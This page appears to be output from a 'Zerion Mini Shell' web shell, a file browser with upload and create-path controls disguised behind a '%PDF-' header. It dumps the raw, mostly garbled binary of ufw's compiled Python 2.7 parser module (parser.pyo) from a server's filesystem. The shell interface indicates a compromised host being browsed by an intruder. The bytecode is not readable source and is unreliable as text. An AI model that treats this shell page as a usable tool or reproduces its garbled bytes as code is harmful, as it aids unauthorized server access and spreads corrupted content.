%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3/root/usr/lib/python2.7/site-packages/ufw/
Upload File :
Create Path :
Current File : //proc/3/root/usr/lib/python2.7/site-packages/ufw/parser.pyo

�
V�Vc@s1ddlZddlZddlZddlmZddlmZdfd��YZdefd��YZdefd	��YZ	d
efd��YZ
defd
��YZdefd��YZdefd��YZ
defd��YZdefd��YZdfd��YZdfd��YZdS(i����N(tUFWError(tdebugt
UFWCommandcBs)eZdZd�Zd�Zd�ZRS(s"Generic class for parser commands.cCsA||_g|_||jkr4|jj|�n||_dS(N(tcommandttypestappendttype(tselfRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyt__init__-s
		cCs8t|�dkrt��nt|dj��}|S(Nii(tlent
ValueErrortUFWParserResponsetlower(Rtargvtr((s./usr/lib/python2.7/site-packages/ufw/parser.pytparse4scCstd��dS(Ns!UFWCommand.help: need to override(R(Rtargs((s./usr/lib/python2.7/site-packages/ufw/parser.pythelp<s(t__name__t
__module__t__doc__RRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR+s		tUFWCommandRulecBs5eZdZd�Zd�Zd�Zee�ZRS(s#Class for parsing ufw rule commandscCsd}tj|||�dS(Ntrule(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyRAsc *Cs�d}d}d}d}d}d}d}d}	d}
t}t|�dkrx|dj�dkrx|j|d�nt|�dkr�|dj�dkr$t|�dkr$t}|j|d�d}yt|d�}Wntk
r|d}nX|dkr�td|�}
|
Snz|dj�dkr�t|�d	krXt	��n|d}	|	d
kr�t
d�|	}t|��n|d=|d=n|d}n|dkr�|d
kr�|dkr�|dkr�t	��nt|�}|dkrt	��nd}|dkr\|dj�dksI|dj�dkr\|dj�}n|dkr�|ddkr�|dj�dks�|dj�dkr�|dj�}|d=t|�}nt}|dkr�|jd�dks|jd�dkr�t
d�}|dj�dkrM|dj�dkrMt|��n|dkso|dj�dkr~t|��n|d=t|�}t}nd}|r�|dkr�|dj�dks�|dj�dkr�d}nA|dkr(|dj�dks|dj�dkr(d}n|dkrZ||j�}
||=t|�}nd|kr�t
d�}t|��nd|kr�t
d�}t|��nd}d|kr)|j
d�}|t|�dkr�t
d�}t|��n||d}||d=||=t|�}n|dksA|dkrMt	��n|}|
dkrp|d|
7}ntjj|ddd|dtjj|��}|r�||_n7|	dkr�y|j|	�Wq�tk
r��q�Xn|dkrYtjj|d�raytjj|d�Wqatk
r]d}|d|_|j|dd �qaXn|jdkr�
y tjj|d�\}}Wnt	k
r�}t|��nXtjd!|�sd"|ks�d#|kr�t
d$�}t|��n|}ny'|j|�|j|d �d}WqVtk
rRt
d%�}t|��qVXq�
n1|dddkr�t
d&�}t|��nd'|kr�d(|kr�d|kr�d|kr�t
d)�}t|��n�d*d'd(d+d,ddg}|jd(�dks�|jd'�dks�|jd*�dks�|jd+�dks�|jd�dks�|jd�dks�|jd,�dks�|jd,�dkr�|jd*�dkr�t
d-�}t|��nd}d}x+|D]#}|ddkr"	|||kr"	t
d.�||}t|��n|d*kr�	|d|krq	y|j||d�Wq�	tk
rm	�q�	Xq�t
d/�}t|��nf|dks�	|dkr?
|d|kr 
yR|dkr�	|jd||d�n'|dkr
|jd||d�nWq<
tk
r
�q<
Xq�t
d0�|}t|��n�|d'kr�
|d|kr�
yd||dj�}|dkr�
d1}d}n$tjj|d2�r�
d3}nd4}|j|�Wntk
r�
�nXd5}q�t
d6�}t|��n�|d(kr�|d|kr�yd||dj�}|dkrHd1}d}n$tjj|d2�rfd3}nd4}|j |�Wntk
r��nXd }q�t
d7�}t|��n=|d+ks�|d,kr�|d|kr�|dkrt
d8�|}t|��n||d}|d,krF|d5kr:||_!q�||_nctjd!|�s�d"|kspd#|kr�t
d$�}t|��n|d5kr�|}q�|}ny|j||�Wq�tk
r��q�Xq�t
d9�}t|��n|d7}q�W|dkr!
|dkr!
d}ni|dkr`
|dkr`
||kr`
t
d:�}t|��n*|dkru
|}n|dkr�
|}n|dks�
|dkrNd}|dkr�
ytjj|�}Wq�
tk
r�
t
d;�}t|��q�
Xn|dkr�|dks|dkrbytjj|�}Wq�tk
r^t
d;�}t|��q�Xq�ytjj|�}Wn)tk
r�t
d;�}t|��nX|dks�||kr�|}q�|dkr�q�t
d<�}t|��n|j"dkr|j|�qN|dkrN|j"|krNt
d=�|j"}t|��qNn|r�|j"tjj#kr�|dkr�t$d>|j"�d4}n|j%|�nt|�}
|j&|
j'd?<||
j'd<||
j'd@<|
S(ANttanyiRtdeleteis	delete-%dtinsertit0s#Cannot insert rule at position '%s'tallowtdenytrejecttlimititintouttonsInvalid interface clauseitlogslog-allsOption 'log' not allowed heres!Option 'log-all' not allowed heretcomments*Option 'comment' missing required argumenti
t_t	directiontbothtdsts^\d([0-9,:]*\d+)*$t,t:sPort ranges must be numericsBad portsWrong number of argumentstfromttosNeed 'to' or 'from' clausetprototporttappsImproper rule syntaxsInvalid token '%s'sInvalid 'proto' clausesInvalid '%s' clauses	0.0.0.0/0t6tv6tv4tsrcsInvalid 'from' clausesInvalid 'to' clausesNeed 'from' or 'to' with '%s'sInvalid 'port' clauses%Mixed IP versions for 'from' and 'to'sCould not find protocolsProtocol mismatch (from/to)s,Protocol mismatch with specified protocol %ss*Adjusting iptype to 'v4' for protocol '%s'Rtiptype((tFalseR	RtremovetTruetNonetintt	ExceptionRR
R%RtcounttindextufwtcommontUFWRuletutilt
hex_encodetset_positiontapplicationstvalid_profile_nametget_services_prototdapptset_porttparse_port_prototretmatchtset_protocolt
set_interfacet
valid_addresstset_srctset_dsttsapptprotocoltipv4_only_protocolsRtverifyRtdata( RR
tactionRRt	from_typetto_typetfrom_servicet
to_servicet
insert_postlogtypeR6trule_numRterr_msgtnargstrule_directiont
has_interfacetlog_idxR$tcomment_idxtrule_actionR.R-tetkeystitloctargtfaddrtsaddrttmp((s./usr/lib/python2.7/site-packages/ufw/parser.pyREs2((

	

$"26,"	(	"	



 	


$*
 



		
			
				

			


		
	

cCs�|j}|jdks'|jdkry|jdksE|jdkry|jdkry|jdkry|jdkry|jdkry|jdkry|jdkr�|d|j7}n|j	dkr�|d|j	7}n|j
dkrd|j
kr|d|j
7}qP|d|j
7}n4|d|j7}|jdkrP|d	|j7}n|jdkr�|d
|j
�7}q�nQ|jdkr�|d|j7}n|jdkr�|d|j7}n#|jdkr�|d|j7}n|j	dkr|d|j	7}nxd
dgD]
}|d
krH|j}|j}|j}d}n!|j}|j}|j
}d}|dks�|dkr�d}n|dks�|dks�|dkr|d||f7}|dkr�d|kr�|d|7}q|d|7}q|dkr|d|7}qqqWd|krcd|krc|jdkrc|jdkrc|d7}n|jdkr�|j
dkr�|jdkr�|d|j7}n|jdkr�|d
|j
�7}n|S(sGet command string for rules	0.0.0.0/0s::/0RRR!s %st s '%s's/%ss
 comment '%s's	 in on %ss
 out on %sR3R(R+R,s %s %ss	 app '%s's app %ss port %ss to s from s to anys	 proto %s(RUR(R3tsportRPtinterface_int
interface_outtdportR&R[RFRQR$tget_comment(RtresRfRgR.R/tdir((s./usr/lib/python2.7/site-packages/ufw/parser.pytget_command�sr									$
-(RRRRRRttstaticmethod(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR?s		�w	MtUFWCommandRouteRulecBs eZdZd�Zd�ZRS(s)Class for parsing ufw route rule commandscCstj||�d|_dS(Ntroute(RRR(RR((s./usr/lib/python2.7/site-packages/ufw/parser.pyR
sc	Cs�d|kr{|jd�}d}t|�|kr{y.t||d�td�}t|��Wqxtk
rtqxXq{nd}d}d}dj|�}d|kr&d|kr&d}|jd	�|jd�kr�d	}n||j|�d
}|d|j|�!||j|�d}n_tj	d
|�rtj	d|�rd|ksdd|krtd�}t|��n|}d|d<t
j||�}d|jkr�t
|jd_|r�|r�|jdj||�q�n|S(NRRis9'route delete NUM' unsupported. Use 'delete NUM' instead.Rls in on s out on R!R iiis
 (in|out) on s app (in|out) s in s out s'Invalid interface clause for route ruleR(R<R	R9R%RR
R8tjoinRItsearchRRRTR7tforwardRL(	RR
tidxR]t	rule_argvt	interfacetstriptsR((s./usr/lib/python2.7/site-packages/ufw/parser.pyRsB

	.
(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyRvs	t
UFWCommandAppcBs eZdZd�Zd�ZRS(s*Class for parsing ufw application commandscCsd}tj|||�dS(NR/(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyRKscCs�d}d}t}|ddkr.t��n|d=t|�}|dj�}|dksi|dkr�|dkr�|ddkr�t}|jd�t|�}n|d	kr�t��nt|d�jd
�}|r�|d7}q�n|dkr|dkrt��n|d
kr�|d	kr6t��n|dj�dkrUd}q�|dj�dkrtd}q�|dj�dkr�d}q�|dj�dkr�d}q�t��nt|�}|j	|j
d<||j
d<|S(sParse applications command.RiR/tinfotupdateiis	--add-newis[']s	-with-newtlisttdefaultRs
default-allowRsdefault-denyRsdefault-rejecttskipsdefault-skipRtname(R5R
R	RR7R6tstrR~RRRT(RR
R�RUtaddnewR^R((s./usr/lib/python2.7/site-packages/ufw/parser.pyROsH
				
(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�Is	tUFWCommandBasiccBs eZdZd�Zd�ZRS(s$Class for parsing ufw basic commandscCsd}tj|||�dS(Ntbasic(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�scCs.t|�dkrt��ntj||�S(Ni(R	R
RR(RR
((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�s(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR��s	tUFWCommandDefaultcBs eZdZd�Zd�ZRS(s&Class for parsing ufw default commandscCsd}tj|||�dS(NR�(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�sc	Cs�t|�dkrt��nd}d}t|�dkrX|dj�dkr�|dj�dkr�|dj�dkr�|dj�dkr�|dj�dkr�|dj�dkr�t��n|dj�jd	�r�d}qX|dj�jd
�rd}qX|dj�dks<|dj�dkrEd}qX|dj�}n|dj�dkrwd
}nG|dj�dkr�d}n(|dj�dkr�d}n	t��|d|7}t|�S(NiRtincomingtinputtroutedRztoutputtoutgoingR R!iRsdefault-denyRs
default-allowRsdefault-rejects-%s(R	R
Rt
startswithR(RR
RUR&((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�s8		,					(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR��s	tUFWCommandLoggingcBs eZdZd�Zd�ZRS(s&Class for parsing ufw logging commandscCsd}tj|||�dS(Ntlogging(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�scCs�d}t|�dkr$t��n�|dj�dkrCd}n�|dj�dks�|dj�dks�|dj�dks�|dj�d	ks�|dj�d
kr�d}|dj�dkr�|d|dj�7}q�n	t��t|�S(
NRiitoffslogging-offR"tlowtmediumthightfulls
logging-onR%(R	R
RR(RR
RU((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�s	,,	(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR��s	tUFWCommandStatuscBs eZdZd�Zd�ZRS(s%Class for parsing ufw status commandscCsd}tj|||�dS(Ntstatus(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�scCs�tj||�}t|�dkr0d|_nbt|�dkr�|dj�dkrdd|_q�|dj�dkr�d|_q�t��n|S(NiR�tverbosesstatus-verbosetnumberedsstatus-numbered(RRR	RURR
(RR
R((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�s(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR��s	tUFWCommandShowcBs eZdZd�Zd�ZRS(s#Class for parsing ufw show commandscCsd}tj|||�dS(Ntshow(RR(RRR((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�scCs/d}t|�dkr$t��n|dj�dkrCd}n�|dj�dkrbd}n�|dj�dkr�d}n�|dj�d	kr�d
}n�|dj�dkr�d}nf|dj�d
kr�d}nG|dj�dkr�d}n(|dj�dkrd}n	t��t|�S(NRitrawsshow-rawsbefore-rulessshow-befores
user-ruless	show-usersafter-ruless
show-afters
logging-rulessshow-loggingtbuiltinss
show-builtinst	listeningsshow-listeningtaddeds
show-added(R	R
RR(RR
RU((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�s*									(RRRRR(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR��s	RcBs eZdZd�Zd�ZRS(sClass for ufw parser responsecCs.|j�|_t|_t|_i|_dS(N(RRUR5tdryruntforceRT(RRU((s./usr/lib/python2.7/site-packages/ufw/parser.pyRs		cCsld|j}t|jj��}|j�x)|D]!}|d||j|f7}q3W|d7}t|�S(Nsaction='%s's,%s='%s's
(RUR�RTRetsorttrepr(RRReRf((s./usr/lib/python2.7/site-packages/ufw/parser.pyt__str__
s



(RRRRR�(((s./usr/lib/python2.7/site-packages/ufw/parser.pyRs	t	UFWParsercBs2eZdZd�Zd�Zd�Zd�ZRS(sClass for ufw parsercCs
i|_dS(N(tcommands(R((s./usr/lib/python2.7/site-packages/ufw/parser.pyRscCsh|j�t|jj��kr-t��n|j�t|j|j��kr^t��n|j�S(s=Return command if it is allowed, otherwise raise an exception(RR�R�ReR
(RRtcmd((s./usr/lib/python2.7/site-packages/ufw/parser.pytallowed_commands
!%c

Cst}t|�dkrH|dj�dkrHt}|j|d�nt}t|�dkr�|dj�dks�|dj�dkr�t}|j|d�nd}d}|dj�}t|�dkr1|t|jj��kr1|dj�t|j|j��kr1|}|dj�}n�|}xzt|jj��D]c}||j|krMt|j||t	�r�t
|j||d�dkr�qMn|}PqMqMW|dkr�d}n|j||�}|j||}|j|�}	||	_
||	_|	S(	s(Parse command. Returns a UFWParserActionis	--dry-runs--forces-fRiRR(R5R	RR7R6R�R�Ret
isinstanceRtgetattrR�RR�R�(
RRR�R�R�RRkRfRUtresponse((s./usr/lib/python2.7/site-packages/ufw/parser.pyt
parse_command&s@((-) 			cCs�|jdks|jdkr.d|j}n
d|j}|j|jkr`i|j|j<n||j|jkr�td�|}t|��n||j|j|<dS(s"Register a command with the parserRs%ssCommand '%s' already existsN(RR8RR�R%R(RtctkeyR]((s./usr/lib/python2.7/site-packages/ufw/parser.pytregister_commandTs
(RRRRR�R�R�(((s./usr/lib/python2.7/site-packages/ufw/parser.pyR�s
		
	.(RItufw.utilR=tufw.applicationst
ufw.commonRRRRRvR�R�R�R�R�R�RR�(((s./usr/lib/python2.7/site-packages/ufw/parser.pyt<module>%s ��>;-

Zerion Mini Shell 1.0